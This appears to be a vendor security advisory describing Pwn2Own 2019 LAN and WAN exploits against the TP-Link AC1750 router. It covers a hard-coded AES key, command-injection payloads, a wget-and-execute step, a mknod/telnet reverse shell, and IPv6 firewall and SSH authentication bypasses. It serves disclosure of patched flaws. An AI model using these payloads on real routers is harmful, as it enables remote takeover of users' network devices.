TP-Link AC1750 (Pwn2Own 2019)

Product TP-Link AC1750 Smart WiFi Router
Severity High
CVE Reference CVE-2020-10884, CVE-2020-10883, CVE-2020-10882, CVE-2020-10888, CVE-2020-10887, CVE-2020-10886
Type RCE


At mobile Pwn2Own 2019 F-Secure Labs successfully exploited the TP-Link AC1750 Smart WiFi Router via both the LAN and WAN. Both exploits targeted proprietary protocols developed by TP-Link that are used when communicating with TP-Link range extenders. The two exploits used the following vulnerabilities:

  • CVE-2020-10882 - Command injection vulnerability in tdpServer
  • CVE-2020-10883 - Incorrect file system permissions
  • CVE-2020-10884 - Hard-coded cryptographic key
  • CVE-2020-10886 - Command injection vulnerability in tmpServer
  • CVE-2020-10887 - Incorrect firewall rules leading to a firewall bypass
  • CVE-2020-10888 - SSH port forwarding authentication bypass

Technical Details - LAN Exploit

The main part of the LAN exploit was the command injection vulnerability in the tdpServer binary. This binary listens on UDP port 20002 for connections from TP-Link range extenders in order to exchange information such as the product type, signal strength, and connection type.

Packet Structure

Each message in the tdp protocol consists of a 16-byte header and an encrypted message body. The header structure is as follows:

struct header {
char version; // The version of TDP - Set to 0x01 for this exploit
char msg_type; // The type of the message - Set to 0xf0 for this exploit
short opcode; // The operation that the message will perform - Described in more detail below
short message_size; // The size of the header + body
char flags; // The flags for the message - Set to 1 for this exploit
char padding_byte; // A blank byte used to align the struct members correctly
int device_serial; // The serial number of the device
int checksum; // The CRC32 checksum of the message with this value replaced with 0x5a6b7c8d

 The opcode identifies the type of operation that is to be performed. The allowed values are as follows:

  • 0x0001 - Probe Request
  • 0x0002 - Empty Request
  • 0x0003 - Invalid Operation
  • 0x0004 - Attach Master Request
  • 0x0005 - Invalid Operation
  • 0x0006 - Empty Request
  • 0x0007 - Slave Key Offer

The body of the message can be encrypted/encoded in two different ways, depending on the request:

  • XOR cipher - Each character is encrypted with the last character, with the initial character set to 0xfa
  • AES-CBC encrypted with a static key TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP (CVE-2020-10884) and IV 1234567890abcdef1234567890abcdef

Once decrypted, the body is in JSON format and is parsed using the cJSON library.

Reaching the vulnerability

During normal execution, two packets are required to be sent by the client application to reach the vulnerable function: an Attach Master Request, and a Slave Key Offer. The plaintext JSON for the Attach Master Request is:

{"method": "attach_master", "data": {"group_id": "-1", "master_mac": "68-FF-7B-0E-4F-28"}}

In response to this, the router sends back an encrypted JSON message containing important router information that can be used to construct an RSA public key:

{"method": "attach_master_response", "data": {"group_id": "61e05be4-f763-4fd7-82a6-f63fe140db4e", "master_rsa_public_n":
FBF4AE37482232DF7FD701C8EFA99617A9E41F3A7C0201D8C28E24450E2C77", "master_rsa_public_e": "010001"}, "error_code": 0}

The public key can be reconstructed using the following Python script:

# python "RSA n value"
from Crypto.PublicKey.RSA import construct
import sys

e = int('10001', 16)
n = int(sys.argv[1], 16)
pubkey = construct((n, e))

This key is then used for the second packet to encrypt a username and password generated and supplied by the WiFi extender. Although the first packet is not necessary for the exploit to work, it was used in the Pwn2Own exploit to mimick the WiFi extender as closely as possible. It also provides some prerequisite knowledge for the WAN exploit discussed later.

The second packet reaches the slave_key_offer function which contains the command injection vulnerability.

During normal execution with a real WiFi extender the second packet, once decrypted, would have a JSON structure similar to as follows:


The vulnerability itself (CVE-2020-10882) exists in the slave_mac parameter. Specifically, during the parsing of this message the following function calls are made:

snprintf(command, 0x1ff, "lua -e 'require(\"luci.controller.admin.onemesh\").sync_wifi_specified({mac=\"%s\"})'", slave_mac);

This allows an attacker to break out of the current command with '; and inject more commands.


Although the snprintf call has room for 0x1ff characters, the slave_mac variable only contains up to 17 characters of the supplied mac address due to an strncpy call. This means that larger payload have to be split into multiple requests. Doing so can be achieved by creating an executable bash script character-by-character in the root directory (CVE-2020-10883), as follows:

';printf 'a'>>a #

This can then be executed using chmod +x a and ./a.

In order to conserve time when executing the exploit, the payload that was chosen was to wget a second script from the attacker's machine and execute that. The second script set up a reverse shell using mknod and telnet as follows:

mknod /tmp/pipe p;/bin/sh 0</tmp/pipe 2>&1 | telnet 1424 >/tmp/pipe

Technical Details - WAN Exploit

The WAN exploit for this device used a command injection vulnerability in the similarly named tmpServer service binary. Just like it's tdpServer counterpart, it is used for communicating with WiFi extenders. It listens on localhost on TCP port 20002. While this may seem to be unreachable from the LAN, let alone the WAN, it helps to understand how it's used by the WiFi extender.

An SSH server was enabled on the router, however this did not allow anything other than SSH Tunneling. In the LAN exploit, it was shown that the WiFi extender was expected to relay an encrypted username and password. These credentials are then used for the SSH tunnel in order to access this internal service.

Packet Structure

The tmpServer service supports 4 different packet types, each with a different structure:

  • Assoc Request Packet
  • Assoc Accept Packet
  • Set Service Name Packet
  • Data Transfer Packet

Each of the above packets has an effect on the client state, which is tracked using an in-memory client storage structure:

struct client_store {
int client_fd; // Stores the file descriptor for the client socket (since this is TCP, not UDP)
ushort unknown1;
ushort unknown2;
int client_status; // Tracks the state of the client
char *msg_ptr; // Points to an allocated area to store the client packets
int used_size; // Says how much of the storage location has been used
char *response; // Points to an allocated area to store the response packet
int response_size; // The size of the response string
int service_type; // Set in the packet
unsigned int service_mask; // Set in the packet
int auth_header_length; // Set in the packet

Since all packet types are used in the exploit, the structures will each be shown.

Both the Assoc Request and Assoc Accept packets use the same structure:

struct assoc_packet {
char unused_1; // Set to 0x01
char unused_2; // Set to 0x01 for Request and 0x00 for Accept
short opcode; // Set to 0x01 for Request, and 0x02 for Accept

The Request packet advances the client_status to 1, whereas the Accept packet advances the client_status to 2.

Once on client_status 2, the Set Service Name packet can then be used:

struct ssn_packet {
char opcode; // Set to 0xfe
char service_name_len; // Number of bytes in the service name
char service_mask; // Set to 0x11
char service_name[]; // The service name of service_name_len bytes

This packet sets the client_status to 3, allowing the final Data Transfer Packet to be sent. There are two parts to this packet: the header and the body.

struct dt_header {
short unknown; // Set to 0x100
char opcode; // Set to 0x05
char padding;
char size_of_body; // The size of the packet body used in the checksum
char flags; // Set to 0x00
char unknown[6];
int checksum; // The CRC32 checksum of the header + message with this value replaced with 0x5a6b7c8d

struct dt_body {
char service_type; // The service type of the request
char validation_check; // Set to 0x01
char function_type; // The type of the special function
char function_selector; // Selects which function to execute
char unused[4];
char buffer[8]; // A buffer to contain information for the function

Reaching the vulnerability

As mentioned above, the vulnerable function is only reachable once the client_status value is set to 3 and thus all the previously discussed packets are required. The final packet (Data Transfer Packet) is the one that triggers the vulnerability.

The function type of this packet must be set to 0x03 (the Special Commands type) in order to reach the next function to be called. This function then uses a switch statement on the packet's function selector member to identify what the purpose of the packet is. Function 0x0d (CMD_CONFIG_PIN) is where the vulnerability resides.

In this function, the 8 bytes in the buffer member of the packet are treated as a pin value and placed into a command to be executed:

exec("echo %c%c%c%c%c%c%c%c  > /tmp/pin-tmp", pkt->buffer[0], pkt->buffer[1], pkt->buffer[2], pkt->buffer[3], pkt->buffer[4], pkt->buffer[5], pkt->buffer[6], pkt->buffer[7]);

This gives 8 bytes that can be used to manipulate the shell command (CVE-2020-10886).


It might not seem like 8 bytes is enough to exploit the device; however, since the injection point is in an echo command, it's possible to use some tricks to exploit it in a similar way to the LAN exploit by once again writing a script character-by-character to the root directory:

echo -n a>>a;  > /tmp/pin-tmp

Because the above payload takes up exactly 8 characters, it isn't possible to represent special characters such as spaces or dollar symbols since escaping them would require one more character than is available. To circumvent this, the following can be done:

echo \$\\>>a;  > /tmp/pin-tmp
echo -n a>>a; > /tmp/pin-tmp

Which results in the script:


When bash parses this, it sees the backslash and the newline, treats the character as escaped, and removes it, causing the above script to be equivalent to $a.

Using this, the same wget method as used in the LAN can be used.

Firewall Bypass

The firewall prevented access to all ports on the WAN side, limiting the attack surface. However there was a distinct problem with how the firewall was implemented: IPv6 was not fully filtered (CVE-2020-10887). This exposed the SSH port to the WAN and allowed remote attackers to connect to it.

One more bug was required in order to connect to the internal service via a tunnel. The authentication on the SSH service was found to be broken when the router was not entirely set up (Such as would be the case for an average user who plugs in the router and doesn't wish to perform any actions on the admin panel). In this instance it would accept any username and password combination, thus allowing the internal service to be accessed on the WAN (CVE-2020-10888).


A shell on the router from both the LAN and the WAN is great but it in order to make things interesting for the audience at Pwn2Own, two separate lightshow scripts were written.

The first lightshow was dubbed "Vegas Lights". It can be viewed at this link.

The second lightshow was a recreation of the classic game Snake (in glorious 1-D). ZDI were even kind enough to create a gif of it:


All the listed vulnerabilities were fixed in the firmware version Archer A7(US)_V5_200220 [1]